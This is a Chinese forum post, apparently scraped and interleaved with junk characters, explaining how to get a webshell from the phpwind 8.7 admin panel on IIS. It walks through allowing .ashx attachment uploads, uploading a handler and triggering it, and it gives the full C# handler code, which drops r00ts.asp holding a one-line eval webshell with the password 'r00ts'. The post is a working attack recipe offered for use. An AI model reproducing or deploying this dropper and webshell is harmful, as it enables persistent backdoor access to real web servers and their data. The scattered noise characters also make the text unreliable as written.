phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
( R% ]. [/ O* x
* v. P" O, n* V* c群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

4 k' o1 i) x4 Y/ ^0 _发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
4 G) m3 V; n: h# ^" x
7 j' Y+ K( i  q; p打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
$ }  h. ?3 n1 Z3 b5 r1 M
  T% A7 }$ \  H. ~# B: \下面是代码:
% H, U6 L) V3 j8 [4 z
' J; s7 Y1 ^+ G! ?, h$ [: A<%@ WebHandler Language="C#"Class="Handler" %>
, Q+ Q* o; ^7 q4 I( ]1 K, `, y* X- ?$ D+ xusing System;
9 w5 }  l6 j, P5 E/ X# Ausing System.Web;
using System.IO;
6 r3 z) l' f) a( {! Dpublic class Handler : IHttpHandler {
- d, U! p; r8 I: h2 U* o# Gpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
7 O) Q+ c4 x* b' |StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
" {& W! D$ i& [file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
) ~9 J. j) h  M% o  A  }8 X}
public bool IsReusable {
get {
0 P4 |! H& |6 Areturn false;
$ O/ g1 a% S2 g6 c! W}
) Z2 K# u2 h' B' g}
}